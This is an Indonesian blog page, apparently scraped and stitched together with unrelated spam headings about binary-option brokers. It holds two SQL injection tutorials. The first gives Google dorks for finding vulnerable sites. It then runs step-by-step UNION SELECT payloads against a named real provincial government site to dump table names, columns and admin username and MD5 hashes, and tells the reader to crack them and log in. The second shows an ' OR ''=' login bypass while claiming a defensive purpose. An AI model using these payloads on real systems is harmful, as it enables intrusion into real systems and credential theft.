Sistem Perdagangan Sql Cara Mudah Untuk Mengerti SQL Injection

Peringkat broker opsi biner:

IDCA Blog’s

Knowledge is Free | We Share To Everywhere

Thursday, February 14, 2020

Cara Hacking Website Dengan Teknik Manual SQL Injection

Pengertian SQL Injection

SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :

id=$id;……. > Got Error

Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.

Contoh :
http://situstarget.com/news.php?id=1’
http://situstarget.com/news.php?id=’1

Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.

Peringkat broker opsi biner:

Dork SQLi :

inurl:azerty.php?id= ,
inurl:bouquin.php?id= ,
inurl:lien.php?id= ,
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=

Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 – dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda –.

http://diklat.lampungprov.go.id/more.php?id=1+order+by+1–
http://diklat.lampungprov.go.id/more.php?id=1+order+by+2–
http://diklat.lampungprov.go.id/more.php?id=1+order+by+3–
http://diklat.lampungprov.go.id/more.php?id=1+order+by+4–
http://diklat.lampungprov.go.id/more.php?id=1+order+by+5–
http://diklat.lampungprov.go.id/more.php?id=1+order+by+17–

Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.

Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda – sebelum angka dan diakhiri dengan tanda –. contoh:

Nah pada gambar kita bisa lihat versi database yang dipake adalah v. 5.5.14 , jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.

Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name) ” dan menambahkan perintah “ from+information_schema.tables+where+table_schema=database() ” sesudah angka terakhir, dan diakhiri dengan tanda –.
contoh :
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()–

Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll . Langkah selanjutnya kita akan mencari username dan password admin pada tabel tbadmin . Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “ group_concat(columns_name) ” dan perintah “ from+information_schema.columns+where+table_name=CHAR() ” sesudah angka terakhir, dan diakhiri dengan tanda –. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI . kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)–

Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah +from+tbadmin–, tbadmin merupakan tabel yang kita dapatkan tadi.

Nah kan udah keliatan username dan passwordnya.. :) dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini . Selanjutnya tinggal mencari halaman logginnya. kalo semua sudah ketemu, tinggal loggin aja, jebreet jebreet jebreet :D

Saya kira hanya begitu saja, kurang lebih mohon maaf.. kalo ada kesalahan mohon diperbaiki :) wassalam :*

Cara Menggunakan SQL Injection

SQL Injection adalah serangan yang memanfaatkan kelalaian website yang mengijinkan user untuk menginputkan dataВ dimana data yang dimasukan berupaВ malicious character (Karakter Jahat) yang mampu merusakВ Query. Apa itu Query ? Query adalah perintah SQL yang mampu memodifikasi data pada database. Karakter jahatВ tersebut biasanya di masukan pada form inputan/parameter URL/bagian-bagian tertentu dari website yang memilikiВ interaksi dengan Query database. Sebelum kamuВ belajarВ cara menggunakanВ SQL Injection, tentunya kamu harusВ mengetahui bagaimana cara membuat Query. Hal ini sangat di wajibkan karena inilah inti dari serangan SQL Injection yang menyisipkan kode jahat dalam Query sehingga Query yang dikirimkan ke database menjadi rusak dan mengeluarkan informasi tentang database dalam bentuk error dan lain-lain.

Lihat gambar diatas, menurut kamu pada bagian URL, manakah yang merupakan karakterВ perusak Query ? Ya tanda petik satu (‘). Kenapa ? karena jika tanda petik satu ikut dimasukan ke dalam Query database maka Query akan memiliki tanda petik satu ganda yang tentunya kita tahu bahwaВ kelebihan tanda petik satu adalah hal yang dapat mengakibatkan error. Cara seperti ini adalah langkah awal yang dilakukan para hacker untuk mendeteksi apakah website memiliki celah keamanan atau tidak. Bentuk URLВ di atas adalah teknik pemrograman websiteВ yang sering kita lakukan saat mengirimkan parameter bertipe GET sehingga terlihat di URL dan dapat dimodifikasi oleh hacker.В Baca tentang Perbedaan Method GET dan POST di PHP

Perhatikan kembali gambar diatas, terdapat informasi error dalam browser karena kesalahan Query. Dengan informasi tersebut berarti hacker telah mengetahui satu tabel dengan namaВ users.В Dari satu tabel ini, hacker akan membuat query yang lebih komplek untuk mendapatkan informasi yang lebih detail mengenai username dan password administrator. Biasanya digunakan teknikВ SubqueryВ untuk melakukan hal ini.В Lihat bentuk lain SQL InjectionВ dibawah ini agar kamu lebih paham.

Cara Menggunakan SQL Injection

Ini adalah cara sederhana untuk menembus pertahanan form login pada suatu website. Untuk mendapatkan akses ke dalam website dari sebuah form login,В masukan karakter berikut [highlight]’OR’ ‘='[/highlight]В ke dalam inputanВ username dan password. Jika pertahanan dalam sebuah website terlalu lemah maka akan dengan mudah ditembus oleh SQL Injection dengan hanya menggunakan kode seperti itu. Sebagai contoh sebuat form login memiliki tabel dengan nama usertb dengan struktur dan data tabel sebagai berikutВ :

Struktur Tabel Usertb dalam Database

Dalam form login memiliki program Query sebagai berikut :

Dari kode di atas bisa kita lihat pada variabel PHPВ $username dan $password, variabelВ PHPВ tersebut digunakan untuk mendapatkan data inputanВ dari form login yang bertipe POST, lalu dimasukan ke dalam Query database dibawahnya.В Dan pada saat variabel dimasukan ke dalam Query maka bentuk Query akan terbentukВ sebagai berikutВ :

Gambar berikut adalah hasil pengambilan database berdasarkan Query diatas yang telah terinject.

Hasil SQL Injection

Tidak error kan ? tapi menghasilkan hasil Query yang benar. Lihat kembali pada bagian Query yang telah terinject. Terlihat di sana bahwa kode [highlight]’OR’ ‘='[/highlight] telah merusak susunan Query. Jika Query yang terinject di artikan kedalam bahasa manusia, kurang lebih sebagai berikutВ “Hai Database, Tolong Keluarkan seluruh data dalam tabel usertb dimana username sama dengan kosong ATAU kosong sama dengan kosongВ danВ password sama dengan kosong ATAU kosong sama dengan kosong”.

Okee! Demikian tutorial kali ini. Niat saya hanya menunjukan seperti apa bentuk SQL Injection agar para programmer website tahu hal apa yang harus dilakukan untuk mengatasi serangan tersebut. Baca juga tentang Cara Mudah Mengatasi Serangan SQL Injection

Peringkat broker opsi biner:
Di mana menginvestasikan uang
Tinggalkan Balasan

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: